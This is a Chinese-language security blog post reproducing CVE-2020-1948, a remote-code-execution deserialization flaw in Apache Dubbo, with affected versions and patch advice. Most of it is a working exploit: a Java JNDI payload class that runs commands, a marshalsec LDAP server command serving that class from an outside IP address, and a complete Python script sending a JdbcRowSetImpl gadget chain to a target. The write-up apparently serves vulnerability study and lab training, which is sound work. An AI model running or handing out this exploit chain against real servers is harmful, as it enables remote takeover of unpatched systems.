您的需求已经提交,我们将在48小时内联系您
全国服务热线:400-1000-221
确定
免费享受企业级云安全服务
获取手机验证码
{{message}}
免费试用

Apache Dubbo反序列化漏洞

作者:
发布时间:2020-11-26

  简介

  Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的RPC实现服务的输出和输入功能,可以和Spring框架无缝集成。它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。

  本文涉及知识点实操练习——CVE-2020-1948 Apache dubbo远程命令执行漏洞:通过该实验了解漏洞产生的原因,掌握基本的漏洞利用及使用方法,并能给出加固方案。

  概述

  2020年06月23日, Apache Dubbo 官方发布了Apache Dubbo 远程代码执行的风险通告,该漏洞编号为CVE-2020-1948,漏洞等级:高危。

  Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。

  Apache Dubbo Provider存在反序列化漏洞,攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。

  影响版本

  Dubbo 2.7.0 - 2.7.6

  Dubbo 2.6.0 - 2.6.7

  Dubbo 2.5.x (官方不再维护)

  环境搭建

  运行环境与编译exp环境jdk版本均为8u121,启动测试环境

  java -jar dubbo.jar

  启动后会监听12345端口

  漏洞复现

  服务指纹:

  PORT STATE SERVICE VERSION12345/tcp open textui Alibaba Dubbo remoting telnetd

  构造poc,我们这里执行一个ping命令来验证是否可以执行命令,新建calc.java,

  import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;public class calc implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtableenvironment) throws Exception { Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io"); return null; }}

  编译poc

  javac calc.java

  将编译好的poc(calc.class)放到web网站目录里,确保漏洞主机可以访问到

  使用marshalsec项目启动一个ldap代理服务,marshalsec下载

  https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar

  启动LDAP代理服务,执行该命令ldap服务会监听8086端口

  java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://139.9.198.30/#calc 8086

  执行测试脚本,此处测试使用python环境为3.8.0,先安装依赖包

  python3 -m pip install dubbo-py

  脚本内容(Dubbo.py):

  # -*- coding: utf-8 -*-import sysfrom dubbo.codec.hessian2 import Decoder,new_objectfrom dubbo.client import DubboClientif len(sys.argv) < 4: print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0])) print('nExample:nn- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0])) sys.exit()client = DubboClient(sys.argv[1], int(sys.argv[2]))JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource=sys.argv[3], strMatchColumns=["foo"] )JdbcRowSetImplClass=new_object( 'java.lang.Class', name="com.sun.rowset.JdbcRowSetImpl", )toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl )resp = client.send_request_and_return_response( service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService', # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。 method_name='$invoke', args=[toStringBean])output = str(resp)if 'Fail to decode request due to: RpcInvocation' in output: print('[!] Target maybe not support deserialization.')elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output: print('[+] Succeed.')else: print('[!] Output:') print(output) print('[!] Target maybe not use dubbo-remoting library.')

  执行脚本

  python3 Dubbo.py 192.168.137.173 12345 ldap://139.9.198.30:8086/calc

  

 

  dnslog查看,成功接收到请求

  

 

  ldap服务也可以看到请求转发

  

 

  弹计算器

  import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;public class calc implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtableenvironment) throws Exception { Runtime.getRuntime().exec("calc"); return null; }}

  漏洞修复

  升级 2.7.7 版本,并根据以下链接的方法进行参数校验

  https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de

  更换协议以及反序列化方式。具体更换方法可参考:

  http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html

  参考

  https://github.com/DSO-Lab/defvul/wiki/Apache-Dubbo-CVE_2020_1948-Deserialization-Vulnerability

标签: